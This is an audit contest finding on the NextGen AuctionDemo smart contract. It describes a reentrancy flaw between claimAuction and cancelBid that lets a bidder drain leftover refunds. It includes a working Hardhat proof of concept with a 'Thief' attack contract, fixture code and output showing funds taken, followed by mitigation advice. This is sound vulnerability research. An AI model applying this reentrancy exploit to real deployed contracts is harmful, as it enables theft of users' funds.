missing validation means that bids can be stolen from auction contract

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L124-L130
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L115-L117

Vulnerability details

Impact

AuctionDemo::claimAuction is missing validation, which may cause ETH to be left in the contract. This remaining ETH can be stolen by any bidder given their bid was <= the ETH in the contract.

Proof of Concept

This POC will first include a description of the vulnerability, then a coded POC to demonstrate below.

First assume in this scenario there are 4 bidders (Alice, Bob, Charles, Daniel) who each bid 1 eth, 2 eth, 3 eth 4 eth respectively. Let's also assume Daniel also bid 1.5 eth previously. So in total, there are 5 bids.

When the highest bidder (Daniel) or the ADMIN calls claimAuction, Daniel is sent the NFT. Alice, Bob & Charles are refunded their ETH as shown below:

( Given that the auction end time is known ahead of time, we can expect block.timestamp==minter.getAuctionEndTime(_tokenid))

for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }

Both of the call are missing a validation for the bool success, so any failed calls will result in stuck ETH in the contract, however this is more significant here:

else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); }

Let's assume in this scenario Charles' refund failed for any reason, this means his 3 ETH will remain in the contract.

The problem with this is each before each call in the loop auctionInfoData[_tokenid][index].status = false; is missing.

Daniel who won the auction, also receives a call to refund his prior bid of 1.5 eth. Daniel is using a smart contract wallet which has a receive fallback function which is configured to maliciously to call cancelBid:

function cancelBid(uint256 _tokenid, uint256 index) public {
        // @audit-issue can cancel bids at the same time as claim auction
        // this means if highest bidder also has second highest bid
        // they can game the auction by
        // cancelling their highest bid thereby getting their eth back instead of sending it to the owner
        // and claim the auction with their second highest bid
        require(
            block.timestamp <= minter.getAuctionEndTime(_tokenid),
            "Auction ended"
        );
        require(
            auctionInfoData[_tokenid][index].bidder == msg.sender &&
                auctionInfoData[_tokenid][index].status == true
        );
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder)
            .call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(
            msg.sender,
            _tokenid,
            index,
            success,
            auctionInfoData[_tokenid][index].bid
        );
    }

However as auctionInfoData[_tokenid][index].status = false; was not set in claimAuction, Daniel's call to cancelBid is valid and he receives an additional 1.5 ETH from the 3 ETH left in the contract.

This is also exploitable by Bob or Alice, who may also be using a smart contract wallet and have configured their receive fallback function to call cancelBid in the case there is remaining ETH.

POC:

Copy this test directly in Context Minting:

it.only("#stealFromAuction", async function () {

      // Create Collections
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      // Add data
      await contracts.hhCore.setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      // Add minter contract
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
      )

      // Add randomizer contract
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      // Set Collection costs
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )

      // Cache mint index
      const mintIndex = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1);
      const auctionEndTime = 1796931278;

      // Start mint and auction
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _adminAddress
        '{"tdh": "100"}', // _tokenData
        0, // salt
        1, // _collectionID
        auctionEndTime, // auctionEndTime
      )

      expect(await contracts.hhMinter.getAuctionEndTime(Number(mintIndex))).to.equal(auctionEndTime)
      expect(await contracts.hhMinter.getAuctionStatus(mintIndex)).to.be.true

      // join auction
      await contracts.hhAuction.connect(signers.addr1).participateToAuction(mintIndex, { value: 100 });
      await contracts.hhThief.connect(signers.addr4).prepare(mintIndex, 1);
      await contracts.hhThief.connect(signers.addr4).joinAuction({ value: 150 });
      await contracts.hhAuction.connect(signers.addr2).participateToAuction(mintIndex, { value: 200 });
      await contracts.hhSCW.connect(signers.addr3).prepare(mintIndex);
      await contracts.hhSCW.connect(signers.addr3).joinAuction({ value: 300 });
      await contracts.hhThief.connect(signers.addr4).joinAuction({ value: 400 });

      // Skip to auction end time
      await time.increaseTo(auctionEndTime - 2);

      const auctionContractBalanceInit = await contracts.hhThief.getBalanceOf();
      console.log("INIT auctionContractBalance: ", auctionContractBalanceInit);

      // NFT owner must approve
      await contracts.hhCore.connect(signers.owner).approve(await contracts.hhAuction.getAddress(), mintIndex);

      // Claim auction
      await contracts.hhAuction.connect(signers.owner).claimAuction(mintIndex);

      const thiefContractBalance = await contracts.hhThief.getBalance();
      console.log("thiefContractBalance: ", thiefContractBalance);

      const auctionContractBalance = await contracts.hhThief.getBalanceOf();
      console.log("auctionContractBalance: ", auctionContractBalance);

    })

Add this to fixtures deployment script:

const auction = await ethers.getContractFactory("auctionDemo")
  const hhAuction = await auction.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress(),
  )

  const thief = await ethers.getContractFactory("Thief")
  const hhThief = await thief.deploy(
    await hhAuction.getAddress(),
  )

  const SCW = await ethers.getContractFactory("SCW")
  const hhSCW = await SCW.deploy(
    await hhAuction.getAddress(),
  )

  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction,
    hhThief: hhThief,
    hhSCW: hhSCW,
  }

Create Thief.sol:

pragma solidity ^0.8.19;

import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import "hardhat/console.sol";
import "./IERC721Receiver.sol";

contract Thief is IERC721Receiver {
    auctionDemo auction;
    uint tokenId;
    uint index;
    bool entered;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    receive() external payable {
        if (entered) {
            return;
        }
        entered = true;
        console.log("REENTRANCY TRIGGERED");
        auction.cancelBid(tokenId, 1);
    }

    function prepare(uint _tokenId, uint _index) external {
        tokenId = _tokenId;
        index = _index;
    }

    function joinAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getBalanceOf() external view returns (uint256) {
        return address(auction).balance;
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 _tokenId,
        bytes calldata data
    ) external override returns (bytes4) {
        return
            bytes4(
                keccak256("onERC721Received(address,address,uint256,bytes)")
            );
    }
}

Create SCW.sol

pragma solidity ^0.8.19;

import {auctionDemo} from "./AuctionDemo.sol";

contract SCW {
    receive() external payable {
        revert("SCW: no receive");
    }

    auctionDemo auction;
    uint tokenId;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function prepare(uint _tokenId) external {
        tokenId = _tokenId;
    }

    function joinAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }
}

Resulting in this output:

INIT auctionContractBalance:  1150n
thiefContractBalance:  300n
auctionContractBalance:  150n

Tools Used

manual

Recommended Mitigation Steps

Firstly I would recommend redesigning this contract to use pull-over-push architecture.

If this architechture remains then:

1. This statement is missing validation and should be refactored as so:

else if (auctionInfoData[_tokenid][i].status == true) {
auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

2. This should be < not <=

require(
            block.timestamp < minter.getAuctionEndTime(_tokenid),
            "Auction ended"
        );

Assessed type

Invalid Validation

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory